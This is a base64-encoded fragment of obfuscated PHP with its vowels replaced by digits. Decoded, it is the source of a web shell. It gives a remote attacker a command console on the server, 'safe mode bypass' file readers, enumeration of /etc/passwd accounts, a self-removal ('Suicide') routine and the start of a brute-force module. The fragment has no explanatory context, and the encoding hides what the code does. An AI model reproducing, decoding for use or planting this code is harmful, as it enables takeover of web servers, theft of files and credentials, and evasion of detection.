bCxuM2xsLHRoNHMubjFtNS52MWwzNSk7cjV0M3JuIGYxbHM1OyI+PDRucDN0IHR5cDU9dDV4dCBuMW01PW4xbTUgdjFsMzU9IicuaHRtbHNwNWM0MWxjaDFycygkX1BPU1RbJ3A2J10pLiciPjw0bnAzdCB0eXA1PXMzYm00dCB2MWwzNT0iPj4iPjwvZjJybT4nOw0KCQkJYnI1MWs7DQoJCWMxczUgJ3QyM2NoJzoNCgkJCTRmKCAhNW1wdHkoJF9QT1NUWydwbyddKSApIHsNCgkJCQkkdDRtNSA9IHN0cnQydDRtNSgkX1BPU1RbJ3BvJ10pOw0KCQkJCTRmKCR0NG01KSB7DQoJCQkJCTRmKCF0MjNjaCgkX1BPU1RbJ3A2J10sJHQ0bTUsJHQ0bTUpKQ0KCQkJCQkJNWNoMiAnRjE0bCEnOw0KCQkJCQk1bHM1DQoJCQkJCQk1Y2gyICdUMjNjaDVkISc7DQoJCQkJfSA1bHM1IDVjaDIgJ0IxZCB0NG01IGYycm0xdCEnOw0KCQkJfQ0KCQkJY2w1MXJzdDF0YzFjaDUoKTsNCgkJCTVjaDIgJzxzY3I0cHQ+cG9fPSIiOzwvc2NyNHB0PjxmMnJtIDJuczNibTR0PSJnKG4zbGwsbjNsbCxuM2xsLG4zbGwsdGg0cy50MjNjaC52MWwzNSk7cjV0M3JuIGYxbHM1OyI+PDRucDN0IHR5cDU9dDV4dCBuMW01PXQyM2NoIHYxbDM1PSInLmQxdDUoIlktbS1kIEg6NDpzIiwgQGY0bDVtdDRtNSgkX1BPU1RbJ3A2J10pKS4nIj48NG5wM3QgdHlwNT1zM2JtNHQgdjFsMzU9Ij4+Ij48L2Yycm0+JzsNCgkJCWJyNTFrOw0KCX0NCgk1Y2gyICc8L2Q0dj4nOw0KCXdzMkYyMnQ1cigpOw0KfQ0KDQpmM25jdDQybiAxY3Q0Mm5TMWY1TTJkNSgpIHsNCgkkdDVtcD0nJzsNCgkyYl9zdDFydCgpOw0KCXN3NHRjaCgkX1BPU1RbJ3A2J10pIHsNCgkJYzFzNSA2Og0KCQkJJHQ1bXA9QHQ1bXBuMW0oJHQ1c3QsICdjeCcpOw0KCQkJNGYoQGMycHkoImMybXByNXNzLnpsNGI6Ly8iLiRfUE9TVFsncGEnXSwgJHQ1bXApKXsNCgkJCQk1Y2gyIEBmNGw1X2c1dF9jMm50NW50cygkdDVtcCk7DQoJCQkJM25sNG5rKCR0NW1wKTsNCgkJCX0gNWxzNQ0KCQkJCTVjaDIgJ1MycnJ5Li4uIEMxblwndCAycDVuIGY0bDUnOw0KCQkJYnI1MWs7DQoJCWMxczUgYToNCgkJCSRmNGw1cyA9IGdsMmIoJF9QT1NUWydwYSddLicqJyk7DQoJCQk0ZiggNHNfMXJyMXkoJGY0bDVzKSApDQoJCQkJZjJyNTFjaCAoJGY0bDVzIDFzICRmNGw1bjFtNSkNCgkJCQkJNWNoMiAkZjRsNW4xbTUuIlxuIjsNCgkJCWJyNTFrOw0KCQljMXM1IG86DQoJCQkkY2ggPSBjM3JsXzRuNHQoImY0bDU6Ly8iLiRfUE9TVFsncGEnXS4iXHgwMCIucHI1Z19yNXBsMWM1KCchXChcZCtcKVxzLiohJywgJycsIF9fRklMRV9fKSk7DQoJCQljM3JsXzV4NWMoJGNoKTsNCgkJCWJyNTFrOw0KCQljMXM1IHU6DQoJCQk0bjRfcjVzdDJyNSgiczFmNV9tMmQ1Iik7DQoJCQk0bjRfcjVzdDJyNSgiMnA1bl9iMXM1ZDRyIik7DQoJCQk0bmNsM2Q1KCRfUE9TVFsncGEnXSk7DQoJCQlicjUxazsNCgkJYzFzNSBpOg0KCQkJZjJyKDskX1BPU1RbJ3BhJ10gPD0gJF9QT1NUWydwbyddOyRfUE9TVFsncGEnXSsrKSB7DQoJCQkJJDM0ZCA9IEBwMnM0eF9nNXRwdzM0ZCgkX1BPU1RbJ3BhJ10pOw0KCQkJCTRmICgkMzRkKQ0KCQkJCQk1Y2gyIGoyNG4oJzonLCQzNGQpLiJcbiI7DQoJCQl9DQoJCQlicjUxazsNCgl9DQoJJHQ1bXAgPSAyYl9nNXRfY2w1MW4oKTsNCgl3czJINTFkNXIoKTsNCgk1Y2gyICc8aDY+UzFmNSBtMmQ1IGJ5cDFzczwvaDY+PGQ0diBjbDFzcz1jMm50NW50Pic7DQoJNWNoMiAnPHNwMW4+QzJweSAocjUxZCBmNGw1KTwvc3Axbj48ZjJybSAybnMzYm00dD1cJ2cobjNsbCxuM2xsLCI2Iix0aDRzLnAxcjFtLnYxbDM1KTtyNXQzcm4gZjFsczU7XCc+PDRucDN0IHR5cDU9dDV4dCBuMW01PXAxcjFtPjw0bnAzdCB0eXA1PXMzYm00dCB2MWwzNT0iPj4iPjwvZjJybT48YnI+PHNwMW4+R2wyYiAobDRzdCBkNHIpPC9zcDFuPjxmMnJtIDJuczNibTR0PVwnZyhuM2xsLG4zbGwsImEiLHRoNHMucDFyMW0udjFsMzUpO3I1dDNybiBmMWxzNTtcJz48NG5wM3QgdHlwNT10NXh0IG4xbTU9cDFyMW0+PDRucDN0IHR5cDU9czNibTR0IHYxbDM1PSI+PiI+PC9mMnJtPjxicj48c3Axbj5DM3JsIChyNTFkIGY0bDUpPC9zcDFuPjxmMnJtIDJuczNibTR0PVwnZyhuM2xsLG4zbGwsIm8iLHRoNHMucDFyMW0udjFsMzUpO3I1dDNybiBmMWxzNTtcJz48NG5wM3QgdHlwNT10NXh0IG4xbTU9cDFyMW0+PDRucDN0IHR5cDU9czNibTR0IHYxbDM1PSI+PiI+PC9mMnJtPjxicj48c3Axbj5JbjRfcjVzdDJyNSAocjUxZCBmNGw1KTwvc3Axbj48ZjJybSAybnMzYm00dD1cJ2cobjNsbCxuM2xsLCJ1Iix0aDRzLnAxcjFtLnYxbDM1KTtyNXQzcm4gZjFsczU7XCc+PDRucDN0IHR5cDU9dDV4dCBuMW01PXAxcjFtPjw0bnAzdCB0eXA1PXMzYm00dCB2MWwzNT0iPj4iPjwvZjJybT48YnI+PHNwMW4+UDJzNHhfZzV0cHczNGQgKCJSNTFkIiAvNXRjL3Axc3N3ZCk8L3NwMW4+PHQxYmw1PjxmMnJtIDJuczNibTR0PVwnZyhuM2xsLG4zbGwsImkiLHRoNHMucDFyMW02LnYxbDM1LHRoNHMucDFyMW1hLnYxbDM1KTtyNXQzcm4gZjFsczU7XCc+PHRyPjx0ZD5GcjJtPC90ZD48dGQ+PDRucDN0IHR5cDU9dDV4dCBuMW01PXAxcjFtNiB2MWwzNT0wPjwvdGQ+PC90cj48dHI+PHRkPlQyPC90ZD48dGQ+PDRucDN0IHR5cDU9dDV4dCBuMW01PXAxcjFtYSB2MWwzNT02MDAwPjwvdGQ+PC90cj48L3QxYmw1Pjw0bnAzdCB0eXA1PXMzYm00dCB2MWwzNT0iPj4iPjwvZjJybT4nOw0KCTRmKCR0NW1wKQ0KCQk1Y2gyICc8cHI1IGNsMXNzPSJtbDYiIHN0eWw1PSJtMXJnNG4tdDJwOmlweCIgNGQ9Ik8zdHAzdCI+Jy5odG1sc3A1YzQxbGNoMXJzKCR0NW1wKS4nPC9wcjU+JzsNCgk1Y2gyICc8L2Q0dj4nOw0KCXdzMkYyMnQ1cigpOw0KfQ0KDQpmM25jdDQybiAxY3Q0Mm5DMm5zMmw1KCkgew0KICAgIDRmKCE1bXB0eSgkX1BPU1RbJ3A2J10pICYmICE1bXB0eSgkX1BPU1RbJ3BhJ10pKSB7DQogICAgICAgICRfU0VTU0lPTlttZGkoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKS4nc3RkNXJyX3QyXzIzdCddID0gdHIzNTsNCiAgICAgICAgJF9QT1NUWydwNiddIC49ICcgYT4mNic7DQogICAgfSA1bHM1NGYoITVtcHR5KCRfUE9TVFsncDYnXSkpDQogICAgICAgICRfU0VTU0lPTlttZGkoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKS4nc3RkNXJyX3QyXzIzdCddID0gZjFsczU7DQoNCgk0Zig0c3M1dCgkX1BPU1RbJzFqMXgnXSkpIHsNCgkJJF9TRVNTSU9OW21kaSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pLicxajF4J10gPSB0cjM1Ow0KCQkyYl9zdDFydCgpOw0KCQk1Y2gyICJkLmNmLmNtZC52MWwzNT0nJztcbiI7DQoJCSR0NW1wID0gQDRjMm52KCRfUE9TVFsnY2gxcnM1dCddLCAnVVRGLTgnLCAxZGRjc2wxc2g1cygiXG4kICIuJF9QT1NUWydwNiddLiJcbiIud3MyRXgoJF9QT1NUWydwNiddKSwiXG5cclx0XFwnXDAiKSk7DQoJCTRmKHByNWdfbTF0Y2goIiEuKmNkXHMrKFteO10rKSQhIiwkX1BPU1RbJ3A2J10sJG0xdGNoKSkJew0KCQkJNGYoQGNoZDRyKCRtMXRjaFs2XSkpIHsNCgkJCQkkR0xPQkFMU1snY3dkJ10gPSBAZzV0Y3dkKCk7DQoJCQkJNWNoMiAiY189JyIuJEdMT0JBTFNbJ2N3ZCddLiInOyI7DQoJCQl9DQoJCX0NCgkJNWNoMiAiZC5jZi4yM3RwM3QudjFsMzUrPSciLiR0NW1wLiInOyI7DQoJCTVjaDIgImQuY2YuMjN0cDN0LnNjcjJsbFQycCA9IGQuY2YuMjN0cDN0LnNjcjJsbEg1NGdodDsiOw0KCQkkdDVtcCA9IDJiX2c1dF9jbDUxbigpOw0KCQk1Y2gyIHN0cmw1bigkdDVtcCksICJcbiIsICR0NW1wOw0KCQk1eDR0Ow0KCX0NCgl3czJINTFkNXIoKTsNCiAgICA1Y2gyICI8c2NyNHB0Pg0KNGYodzRuZDJ3LkV2NW50KSB3NG5kMncuYzFwdDNyNUV2NW50cyhFdjVudC5LRVlET1dOKTsNCnYxciBjbWRzID0gbjV3IEFycjF5KCcnKTsNCnYxciBjM3IgPSAwOw0KZjNuY3Q0Mm4ga3AoNSkgew0KCXYxciBuID0gKHc0bmQydy5FdjVudCkgPyA1LndoNGNoIDogNS5rNXlDMmQ1Ow0KCTRmKG4gPT0gbzgpIHsNCgkJYzNyLS07DQoJCTRmKGMzcj49MCkNCgkJCWQyYzNtNW50LmNmLmNtZC52MWwzNSA9IGNtZHNbYzNyXTsNCgkJNWxzNQ0KCQkJYzNyKys7DQoJfSA1bHM1IDRmKG4gPT0gdTApIHsNCgkJYzNyKys7DQoJCTRmKGMzciA8IGNtZHMubDVuZ3RoKQ0KCQkJZDJjM201bnQuY2YuY21kLnYxbDM1ID0gY21kc1tjM3JdOw0KCQk1bHM1DQoJCQljM3ItLTsNCgl9DQp9DQpmM25jdDQybiAxZGQoY21kKSB7DQoJY21kcy5wMnAoKTsNCgljbWRzLnAzc2goY21kKTsNCgljbWRzLnAzc2goJycpOw0KCWMzciA9IGNtZHMubDVuZ3RoLTY7DQp9DQo8L3NjcjRwdD4iOw0KCTVjaDIgJzxoNj5DMm5zMmw1PC9oNj48ZDR2IGNsMXNzPWMybnQ1bnQ+PGYycm0gbjFtNT1jZiAybnMzYm00dD0iNGYoZC5jZi5jbWQudjFsMzU9PVwnY2w1MXJcJyl7ZC5jZi4yM3RwM3QudjFsMzU9XCdcJztkLmNmLmNtZC52MWwzNT1cJ1wnO3I1dDNybiBmMWxzNTt9MWRkKHRoNHMuY21kLnYxbDM1KTs0Zih0aDRzLjFqMXguY2g1Y2s1ZCl7MShuM2xsLG4zbGwsdGg0cy5jbWQudjFsMzUsdGg0cy5zaDJ3XzVycjJycy5jaDVjazVkPzY6XCdcJyk7fTVsczV7ZyhuM2xsLG4zbGwsdGg0cy5jbWQudjFsMzUsdGg0cy5zaDJ3XzVycjJycy5jaDVjazVkPzY6XCdcJyk7fSByNXQzcm4gZjFsczU7Ij48czVsNWN0IG4xbTU9MWw0MXM+JzsNCglmMnI1MWNoKCRHTE9CQUxTWycxbDQxczVzJ10gMXMgJG4gPT4gJHYpIHsNCgkJNGYoJHYgPT0gJycpIHsNCgkJCTVjaDIgJzwycHRncjIzcCBsMWI1bD0iLScuaHRtbHNwNWM0MWxjaDFycygkbikuJy0iPjwvMnB0Z3IyM3A+JzsNCgkJCWMybnQ0bjM1Ow0KCQl9DQoJCTVjaDIgJzwycHQ0Mm4gdjFsMzU9IicuaHRtbHNwNWM0MWxjaDFycygkdikuJyI+Jy4kbi4nPC8ycHQ0Mm4+JzsNCgl9DQoJNGYoNW1wdHkoJF9QT1NUWycxajF4J10pJiYhNW1wdHkoJF9QT1NUWydwNiddKSkNCgkJJF9TRVNTSU9OW21kaSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pLicxajF4J10gPSBmMWxzNTsNCgk1Y2gyICc8L3M1bDVjdD48NG5wM3QgdHlwNT1iM3R0Mm4gMm5jbDRjaz0iMWRkKGQuY2YuMWw0MXMudjFsMzUpOzRmKGQuY2YuMWoxeC5jaDVjazVkKXsxKG4zbGwsbjNsbCxkLmNmLjFsNDFzLnYxbDM1LGQuY2Yuc2gyd181cnIycnMuY2g1Y2s1ZD82OlwnXCcpO301bHM1e2cobjNsbCxuM2xsLGQuY2YuMWw0MXMudjFsMzUsZC5jZi5zaDJ3XzVycjJycy5jaDVjazVkPzY6XCdcJyk7fSIgdjFsMzU9Ij4+Ij4gPG4yYnI+PDRucDN0IHR5cDU9Y2g1Y2tiMnggbjFtNT0xajF4IHYxbDM1PTYgJy4oQCRfU0VTU0lPTlttZGkoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKS4nMWoxeCddPydjaDVjazVkJzonJykuJz4gczVuZCAzczRuZyBBSkFYIDw0bnAzdCB0eXA1PWNoNWNrYjJ4IG4xbTU9c2gyd181cnIycnMgdjFsMzU9NiAnLighNW1wdHkoJF9QT1NUWydwYSddKXx8JF9TRVNTSU9OW21kaSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pLidzdGQ1cnJfdDJfMjN0J10/J2NoNWNrNWQnOicnKS4nPiByNWQ0cjVjdCBzdGQ1cnIgdDIgc3RkMjN0IChhPiY2KTwvbjJicj48YnIvPjx0NXh0MXI1MSBjbDFzcz1iNGcxcjUxIG4xbTU9MjN0cDN0IHN0eWw1PSJiMnJkNXItYjJ0dDJtOjA7bTFyZzRuOjA7IiByNTFkMm5seT4nOw0KCTRmKCE1bXB0eSgkX1BPU1RbJ3A2J10pKSB7DQoJCTVjaDIgaHRtbHNwNWM0MWxjaDFycygiJCAiLiRfUE9TVFsncDYnXS4iXG4iLndzMkV4KCRfUE9TVFsncDYnXSkpOw0KCX0NCgk1Y2gyICc8L3Q1eHQxcjUxPjx0MWJsNSBzdHlsNT0iYjJyZDVyOjZweCBzMmw0ZCAjZGZpO2IxY2tncjIzbmQtYzJsMnI6I2lpaTtiMnJkNXItdDJwOjBweDsiIGM1bGxwMWRkNG5nPTAgYzVsbHNwMWM0bmc9MCB3NGR0aD0iNjAwJSI+PHRyPjx0ZCB3NGR0aD0iNiUiPiQ8L3RkPjx0ZD48NG5wM3QgdHlwNT10NXh0IG4xbTU9Y21kIHN0eWw1PSJiMnJkNXI6MHB4O3c0ZHRoOjYwMCU7IiAybms1eWQyd249ImtwKDV2NW50KTsiPjwvdGQ+PC90cj48L3QxYmw1Pic7DQoJNWNoMiAnPC9mMnJtPjwvZDR2PjxzY3I0cHQ+ZC5jZi5jbWQuZjJjM3MoKTs8L3NjcjRwdD4nOw0KCXdzMkYyMnQ1cigpOw0KfQ0KDQpmM25jdDQybiAxY3Q0Mm5MMmcyM3QoKSB7DQogICAgczVzczQybl9kNXN0cjJ5KCk7DQoJZDQ1KCdieTUhJyk7DQp9DQoNCmYzbmN0NDJuIDFjdDQyblM1bGZSNW0ydjUoKSB7DQoNCgk0ZigkX1BPU1RbJ3A2J10gPT0gJ3k1cycpDQoJCTRmKEAzbmw0bmsocHI1Z19yNXBsMWM1KCchXChcZCtcKVxzLiohJywgJycsIF9fRklMRV9fKSkpDQoJCQlkNDUoJ1NoNWxsIGgxcyBiNTVuIHI1bTJ2NWQnKTsNCgkJNWxzNQ0KCQkJNWNoMiAnM25sNG5rIDVycjJyISc7DQogICAgNGYoJF9QT1NUWydwNiddICE9ICd5NXMnKQ0KICAgICAgICB3czJINTFkNXIoKTsNCgk1Y2gyICc8aDY+UzM0YzRkNTwvaDY+PGQ0diBjbDFzcz1jMm50NW50PlI1MWxseSB3MW50IHQyIHI1bTJ2NSB0aDUgc2g1bGw/PGJyPjwxIGhyNWY9IyAybmNsNGNrPSJnKG4zbGwsbjNsbCxcJ3k1c1wnKSI+WTVzPC8xPjwvZDR2Pic7DQoJd3MyRjIydDVyKCk7DQp9DQoNCmYzbmN0NDJuIDFjdDQybkJyM3Q1ZjJyYzUoKSB7DQoJd3MySDUxZDVyKCk7DQoJNGYoIDRzczV0KCRfUE9TVFsncHIydDInXSkgKSB7DQoJCTVjaDIgJzx